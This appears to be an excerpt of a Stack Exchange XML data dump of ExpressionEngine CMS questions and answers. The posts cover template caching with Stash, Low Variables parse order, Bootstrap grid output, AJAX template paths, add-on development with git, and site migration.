  <row Id="29" PostTypeId="2" ParentId="21" CreationDate="2012-11-15T22:06:56.387" Score="10" Body="&lt;p&gt;It's hard to tell what you're trying to achieve with Stash in that code sample. Since you are both 'setting' and 'getting' in the same place you aren't benefiting from a separation of markup and data, and as you're not using any caching you won't see any performance benefits either.  Here's a quick example that would add caching for subsequent requests:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name=&quot;recent_blogs&quot;&#xA;    output=&quot;yes&quot; {!-- Set and display the stash in one hit --}&#xA;    save=&quot;yes&quot; {!-- Store the output in the DB --}&#xA;    parse_stage=&quot;set&quot; {!-- Parse the content BEFORE caching it --}&#xA;    parse_tags=&quot;yes&quot; {!-- We do want to parse module/plugin tags --}&#xA;    refresh=&quot;60&quot; {!-- Our cache is valid for 60 minutes -- }&#xA;    replace=&quot;no&quot; {!-- For subsequent requests inside the 60 minute window don't regenerate anything --}&#xA;    scope=&quot;site&quot; {!-- This stash is valid for all users on all pages --}&#xA;}&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;3&quot;}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, template partials are what Stash does best. If you want an intro to the subject there are plenty of &lt;a href=&quot;http://johndwells.com/blog/homegrown-plugin-to-create-template-partials-for-expressionengine&quot;&gt;good&lt;/a&gt; &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot;&gt;articles&lt;/a&gt; about.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-15T22:06:56.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30" PostTypeId="2" ParentId="22" CreationDate="2012-11-15T23:17:40.257" Score="7" Body="&lt;p&gt;I think the best user-focused solution is actually changing galleries into entries in a dedicated Galleries channel and using &lt;a href=&quot;http://devot-ee.com/add-ons/channel-images&quot;&gt;Channel Images&lt;/a&gt;. You can do the transformation of existing data after your upgrade with some fairly simple SQL, and then going forward your editors would just add images into the Channel Images field in the channel entries. &lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-15T23:17:40.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31" PostTypeId="2" ParentId="6" CreationDate="2012-11-15T23:28:02.283" Score="3" Body="&lt;p&gt;One reason to use late parsing is that early parsing adds &lt;em&gt;slightly&lt;/em&gt; more overhead in a lot of cases. The usual thought is that if you don't need things to be parsed early, you should leave them late-parsed for performance. That said, it's a &lt;em&gt;very minor&lt;/em&gt; bit of overhead.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It is also possible that you have some Low Variables and you want to use one of them as input &lt;em&gt;into another one&lt;/em&gt;. In that case, using one early-parsed and one late-parsed would guarantee that they were processed in the correct order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extremely Contrived Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some low variables called &lt;code&gt;{one_fish}&lt;/code&gt;, &lt;code&gt;{two_fish}&lt;/code&gt;, &lt;code&gt;{red_fish}&lt;/code&gt;, and &lt;code&gt;{blue_fish}&lt;/code&gt;, one of which should run on the site at a time. I want to set up which one runs by using another Low Variable, &lt;code&gt;{type_of_fish}&lt;/code&gt;, which is a dropdown with available options &lt;code&gt;one&lt;/code&gt;, &lt;code&gt;two&lt;/code&gt;, &lt;code&gt;red&lt;/code&gt;, and &lt;code&gt;blue&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I would set &lt;code&gt;{type_of_fish}&lt;/code&gt; as early-parsed, and all of my various &lt;code&gt;fish&lt;/code&gt; as late-parsed. Then in my template I can do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{{type_of_fish}_fish}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;{type_of_fish}&lt;/code&gt; is set to &lt;code&gt;one&lt;/code&gt;, the final output from the template parser will be the &lt;em&gt;contents&lt;/em&gt; of &lt;code&gt;{one_fish}&lt;/code&gt;. If it's set to &lt;code&gt;red&lt;/code&gt;, final output will be the &lt;em&gt;contents&lt;/em&gt; of &lt;code&gt;{red_fish}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-15T23:28:02.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32" PostTypeId="2" ParentId="27" CreationDate="2012-11-15T23:56:39.820" Score="5" Body="&lt;p&gt;I can't speak to the legality of distributing the images from the default CP theme. I'd say that's a question to pose to EllisLab directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can add an override.css to piggy-back off the default CP theme styles and images. That's how the &lt;a href=&quot;http://ee-garage.com/override-css&quot;&gt;NSM Override.css&lt;/a&gt; theme works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since NSM Override v1.2.0, they store all CSS and images in a separate folder, &lt;code&gt;themes/cp_themes/nsm_override&lt;/code&gt;. To install it you to only add one line, an @import rule, to the override.css file in the default theme folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(&quot;../../nsm_override/css/screen.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-16T04:56:16.693" LastActivityDate="2012-11-16T04:56:16.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33" PostTypeId="1" AcceptedAnswerId="34" CreationDate="2012-11-16T00:36:45.357" Score="6" ViewCount="4234" Body="&lt;p&gt;I'm building a grid with Twitter Bootstrap. How do I add the closing row &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; tags after every 2 entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the HTML to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;span6&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;span6&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;span6&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;    ...&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- conditional here to close /.row --&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I could use &lt;code&gt;{switch}&lt;/code&gt; tag to accomplish this, but I also need a way to close the row if there are an odd number of entries as well. Is there an easy way to do this without using PHP and modulus somehow?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-02-24T06:33:18.260" Title="Conditionally output code every nth entry for Bootstrap grid" Tags="|conditionals|bootstrap|switch|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34" PostTypeId="2" ParentId="33" CreationDate="2012-11-16T00:36:45.357" Score="4" Body="&lt;p&gt;I managed to find a simple solution as I wrote the question. This just uses a combination of &lt;code&gt;{switch}&lt;/code&gt; and a &lt;code&gt;{if count != total_results}&lt;/code&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;    ...&#xA;  &amp;lt;/div&amp;gt;&#xA;  {if count != total_results}&#xA;    {switch='|&amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt; &amp;lt;div class=&quot;row&quot;&amp;gt;'}&#xA;  {/if}           &#xA;  {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many other great add-ons that solve this problem in the answers below. But for me, this out-of-the-box solution is the simplest.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-01-31T03:44:29.163" LastActivityDate="2013-01-31T03:44:29.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35" PostTypeId="2" ParentId="33" CreationDate="2012-11-16T00:51:59.197" Score="10" Body="&lt;p&gt;You should put the closing &lt;code&gt;&amp;lt;/row&amp;gt;&lt;/code&gt; outside your channel entries tag, to be consistent, and use a switch statement to add the middle rows every third entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;            ...&#xA;        &amp;lt;/div&amp;gt;&#xA;        {switch='||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that we are using &lt;code&gt;{switch='||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&lt;/code&gt; here to show a row every &lt;em&gt;third&lt;/em&gt; entry. By placing two pipes (&lt;code&gt;|&lt;/code&gt;) at the start of the switch statement, you are essentially switching between:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nothing&lt;/li&gt;&#xA;&lt;li&gt;Nothing&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is the easiest way to insert html every nth element - simply by adding extra pipes to your switch statement.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-11-16T01:31:52.353" LastActivityDate="2012-11-16T01:31:52.353" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36" PostTypeId="1" AcceptedAnswerId="40" CreationDate="2012-11-16T01:33:07.130" Score="5" ViewCount="115" Body="&lt;p&gt;A client has requested setting up a channel where they can add forms associated with each entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first Forms from DevDemon looked like a good fit as it has a fieldtype to enable this, but in my case, the forms will be nearly the same for every entry except for one or two questions. For example, every form will capture name, email and phone, but then there will be one or two questions unique to that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So really I need to either be able to save a form for reuse for each entry which can then be modified to include the unique questions, or have a way of defining certain default inputs that apply to every form, and then when the client creates a new form in the CP, the new questions get added to the default set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it doesn't seem like Forms can do this (saved forms is a feature that may be introduced later) so I'm wondering if there's a way to do this with one of the other forms add-ons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe another creative solution?&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="15" LastEditDate="2012-11-16T01:52:55.263" LastActivityDate="2012-11-16T05:31:47.650" Title="Adding forms to individual entries where only one or two questions change" Tags="|add-on|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37" PostTypeId="2" ParentId="36" CreationDate="2012-11-16T02:04:37.217" Score="2" Body="&lt;p&gt;What about taking a hybrid approach using FreeForm?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a matrix to your channel and allow the editor to define the custom fields. You'd want columns for field labels and field type (dropdown, text, etc) and possibly a third for field options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your template will hard code the fields that are common to all forms and loop through the matrix to generate the custom fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://trevordavis.net/blog/freeform-fieldframe-expressionengine-form-builder&quot; rel=&quot;nofollow&quot;&gt;This article goes into more detail.&lt;/a&gt; It's from EE 1.x but the same principles apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;http://focuslabllc.com/blog/form-building-add-ons-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; has a nice round up of EE2 form addons.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2012-11-16T02:04:37.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38" PostTypeId="1" AcceptedAnswerId="39" CreationDate="2012-11-16T02:44:00.227" Score="5" ViewCount="969" Body="&lt;p&gt;I'm trying to access a partial template via AJAX from a template group but I keep getting a 403 forbidden or 404 not found error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the great &lt;a href=&quot;https://github.com/filamentgroup/Ajax-Include-Pattern/&quot; rel=&quot;nofollow&quot;&gt;Ajax-include pattern&lt;/a&gt; Jquery script from the Filament Group. This script relies on you specifying the html file you want to retrieve from a data attribute in the template; could that have something to do with why I'm getting a 403/404?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all combinations of paths to the template but still get the same result. I've also tried naming the full path, including the .group, with no success. If I put the HTML file in the root of the site everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All templates have been synced and saved as files.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Path to templates: /assets/templates/default_site/ &lt;/li&gt;&#xA;&lt;li&gt;Template group: site.group (default template group) &lt;/li&gt;&#xA;&lt;li&gt;Template: footer-resource-menu.html&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li class=&quot;dropdown&quot; data-append=&quot;footer-form-webmail.html&quot; data-media=&quot;(min-width: 50em)&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;#nowhere&quot; class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&amp;gt;My Island &amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;…&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; This was due to the &lt;code&gt;.htaccess&lt;/code&gt; file being missing from web root.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="104" LastEditDate="2012-11-28T20:02:54.770" LastActivityDate="2012-11-28T20:02:54.770" Title="Accessing a template via AJAX from a template group" Tags="|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39" PostTypeId="2" ParentId="38" CreationDate="2012-11-16T03:04:57.507" Score="8" Body="&lt;p&gt;What is the path to load the template in your browser, through EE (like a normal page on the EE site)? Did you try using that path, too? That would be the one I'd expect to work. You'd want to do this anyway if there are any EE tags in the template, to be sure they get parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try to access the URL of a template file directly with the browser you will get a 403 error. The error is given because EE puts a &lt;code&gt;.htaccess&lt;/code&gt; file in your templates folder that has &lt;code&gt;deny from all&lt;/code&gt; -- so it prevents templates from being accessed directly, rather than through EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assuming you are removing index.php, if the partial you are trying to load is the EE template &lt;code&gt;something.html&lt;/code&gt; which is located in the EE template group &lt;code&gt;partials.group&lt;/code&gt;, the path to use is &lt;code&gt;/partials/something&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test the path is good I would first load it in the browser directly, as one normally would an EE template. If there are no errors, then that path should work with ajax.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-11-16T04:28:31.830" LastActivityDate="2012-11-16T04:28:31.830" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="40" PostTypeId="2" ParentId="36" CreationDate="2012-11-16T05:31:47.650" Score="2" Body="&lt;p&gt;For anyone else following along, it looks like you can do exactly what I want with &lt;a href=&quot;http://devot-ee.com/add-ons/proform-catchall&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/proform-catchall&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-16T05:31:47.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41" PostTypeId="1" AcceptedAnswerId="43" CreationDate="2012-11-16T05:38:17.483" Score="20" ViewCount="296" Body="&lt;p&gt;I'm wondering how add-on devs who's add-ons have themes use Git? For example, the way I do things now is to just make my add-ons repo the core folder; eg, securitee or ct_admin within the third_party directory will contain the .git folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work with themes though since those are stored in a completely separate directory and path than the core add-on code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking I may need to have a completely stand alone installation of ExpressionEngine for each add-on and just use a .gitignore file to only allow the add-on files. This sounds over complicated though so I'm hoping to avoid this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas?&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="150" LastEditDate="2012-12-03T05:29:46.483" LastActivityDate="2012-12-03T05:29:46.483" Title="Add-on Development with Themes and Git" Tags="|add-on-development|git|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42" PostTypeId="2" ParentId="41" CreationDate="2012-11-16T05:49:53.103" Score="4" Body="&lt;p&gt;I personally store the addons in a central &quot;code&quot; folder and then symlink the addons' third_party and themes folder to my sandbox folder. This way the git folder contains both system and themes addon folder.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2012-11-16T05:49:53.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43" PostTypeId="2" ParentId="41" CreationDate="2012-11-16T05:50:08.163" Score="28" Body="&lt;p&gt;I always lay my add-ons out to match the directory structure of a default ExpressionEngine install. For example, check out &lt;a href=&quot;https://github.com/expressodev/freemember&quot;&gt;Freemember&lt;/a&gt; on github. I think this makes it most obvious for customers downloading the add-on (believe it or not we used to get questions about where to copy the files to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store, my git directory structure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/system/expressionengine/third_party/store&lt;/li&gt;&#xA;&lt;li&gt;/themes/third_party/store&lt;/li&gt;&#xA;&lt;li&gt;/Makefile etc (which I don't include in zip distribution)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I clone this git repo into my Dropbox folder, which sits in &lt;code&gt;/Users/adrian/Dropbox/Dev/store&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The final trick is simply to symlink your local EE install to your add-on directory.&lt;/strong&gt; For example, (assuming your are using Max OS, Linux, or any other unix-based OS), to create links from my Dropbox folder to my EE install at &lt;code&gt;~/Sites/storedev&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/Sites/storedev/system/expressionengine/third_party&#xA;ln -s ~/Dropbox/Dev/store/system/expressionengine/third_party/store ./&#xA;&#xA;cd ~/Sites/storedev/themes/third_party&#xA;ln -s ~/Dropbox/Dev/store/themes/third_party/store ./&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, since you're using git for add-on development, I highly recommend checking out &lt;a href=&quot;https://github.com/nvie/gitflow&quot;&gt;git flow&lt;/a&gt; for managing your different feature branches and releases.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-11-16T12:11:26.513" LastActivityDate="2012-11-16T12:11:26.513" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44" PostTypeId="2" ParentId="20" CreationDate="2012-11-16T06:16:08.497" Score="5" Body="&lt;p&gt;Lucas fixed his issue and I quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I was able to fix this by going through each channel in the CP and&#xA;  re-updating them to be pointing to the correct channel fields.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-16T06:16:08.497" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="45" PostTypeId="1" AcceptedAnswerId="52" CreationDate="2012-11-16T09:15:56.253" Score="60" ViewCount="9093" Body="&lt;p&gt;This is a topic which is a major headache for us and I'd like to see how other folks tackle it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We manage some pretty big sites which run on ExpressionEngine. Our clients sometimes ask for changes and enhancements which take a long time to develop, and so we naturally do that development work on a separate copy of their live website. However, when we come to bring those changes back to the production site it's a nightmare, for the following reasons&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Software version changes (i.e. modules added/replace, EE upgrades&#xA;performed, module upgrades performed)&lt;/li&gt;&#xA;&lt;li&gt;EE 'Structural' changes (channels/fields/templates/snippets which have been added/removed/changed)&lt;/li&gt;&#xA;&lt;li&gt;Content changes&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;1 isn't too painful, 2 is a pain but we've developed some tooling to help us with that (and I believe &lt;a href=&quot;https://github.com/ckimrie/Site-Manager&quot;&gt;Christopher Imrie's Site Manager&lt;/a&gt; can help with that too). It's number 3 which is a major problem. It's not just the fact that new content has been added, it's the inter-dependencies between all the various tables (and add-on tables) which make it almost impossible to handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are you handling this?&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2022-12-12T16:39:47.717" Title="Migrating between Development, Staging and Production for a pre-existing ExpressionEngine site" Tags="|migration|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="46" PostTypeId="2" ParentId="6" CreationDate="2012-11-16T09:40:34.173" Score="2" Body="&lt;p&gt;If you're using Low Variable you can create groups to keep your variable in. These groups parse in the order they are listed. I find it helpful to have two groups, one on top called 'snippets early' and another just underneath called 'snippets later'.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2012-11-16T09:40:34.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="47" PostTypeId="1" AcceptedAnswerId="50" CreationDate="2012-11-16T10:16:40.387" Score="11" ViewCount="184" Body="&lt;p&gt;Does anyone know if it is possible to set up a promo code in Store that only applies to products in a certain category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am happy to use an extension (if one exists) to fill the gap if this isn't supported natively.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="150" LastEditDate="2012-11-18T04:04:27.480" LastActivityDate="2012-11-18T04:04:27.480" Title="Exp:resso's Store apply coupon to category only" Tags="|extension|expresso-store|module|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="48" PostTypeId="2" ParentId="33" CreationDate="2012-11-16T10:38:30.230" Score="4" Body="&lt;p&gt;It's a common task to want r rows of x items, and I've sometimes got myself tangled with switch and conditionals etc still finding I end up with empty or unclosed tags.&#xA;I find the EEGrouper add-on &lt;a href=&quot;http://devot-ee.com/add-ons/eegrouper&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/eegrouper&lt;/a&gt; is a quick and easy way to handle all cases.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2012-11-16T10:38:30.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="49" PostTypeId="2" ParentId="23" CreationDate="2012-11-16T11:07:56.403" Score="5" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;10&quot;}&#xA;{if count == 10}&#xA;{!-- we actually got 10 so we know there could potentially be more --}&#xA;{embed=&quot;embeds/paginate&quot; offset=&quot;10&quot;}&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the paginate embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries offset=&quot;{embed:offset}&quot; limit=&quot;10&quot;}&#xA;{if count == total_results}&#xA;YES WE DO HAVE PAGINATION&#xA;{/if}&#xA;{paginate}blabla{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, it's superhacky and ugly and you should use &lt;a href=&quot;http://devot-ee.com/add-ons/ab-pagination&quot; rel=&quot;noreferrer&quot;&gt;AB Pagination&lt;/a&gt; instead ;-)&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2012-11-16T11:07:56.403" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="50" PostTypeId="2" ParentId="47" CreationDate="2012-11-16T12:09:53.070" Score="6" Body="&lt;p&gt;There are no existing extensions that I'm aware of that can handle this functionality. Currently promo code discounts are applied to a whole order, not individual items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it would certainly be possible to write something in PHP to handle this using the extension hooks.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-16T12:09:53.070" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="51" PostTypeId="1" AcceptedAnswerId="772" CreationDate="2012-11-16T12:25:28.260" Score="3" ViewCount="453" Body="&lt;p&gt;I'm currently in the process of upgrading a pretty complex EE1 site to 2.5.3. One of the thornier issues I've hit concerns EE2's handling of query strings and the interaction of this with native pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site uses Solspace's &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;Super Search module&lt;/a&gt; and I'm removing index.php via the standard exclude method, on EE1 I therefore had URLs of the format: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/path/to/search&amp;amp;key=value&amp;amp;key2=value2&quot; rel=&quot;nofollow&quot;&gt;http://example.com/path/to/search&amp;amp;key=value&amp;amp;key2=value2&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On EE2.5.3, though super search works fine with URLs of this format, EE shows the $_GET array as empty (as shown in the template debugger output). I need to be able to access values in GET in my templates (I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo'Variables&lt;/a&gt; for this), so have reformatted my search URLs to use a &quot;?&quot; instead like so: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/path/to/search?key=value&quot; rel=&quot;nofollow&quot;&gt;http://example.com/path/to/search?key=value&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great for both super search and mo variables, but breaks on paginated output, as the pagination segment is appended to the end of the query string, like so: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/path/to/search?key=value/P15&quot; rel=&quot;nofollow&quot;&gt;http://example.com/path/to/search?key=value/P15&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which breaks Super Search, whereas what I need is to prepend the pagination segment to the query string: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/path/to/search/P15?key=value&quot; rel=&quot;nofollow&quot;&gt;http://example.com/path/to/search/P15?key=value&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I'm reasonably sure there must be a way around this, even if it involves an addon instead of native pagination: devot-EE also uses Super Search and has a URL structure/pagination &lt;a href=&quot;http://devot-ee.com/search/results/P10?keywords=pagination&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;just like what I'm looking to achieve&lt;/a&gt;,&lt;/strike&gt; but I'm running up against a brick wall at the moment. Any and all bright ideas gratefully received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: as noted in the comments to below Devot-ee now uses &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; instead of Super Search&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-16T15:29:22.123" LastActivityDate="2012-11-29T14:51:21.183" Title="Super Search, query strings and pagination after EE1.x-&gt;2.5.3 upgrade" Tags="|supersearch|get|querystring|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
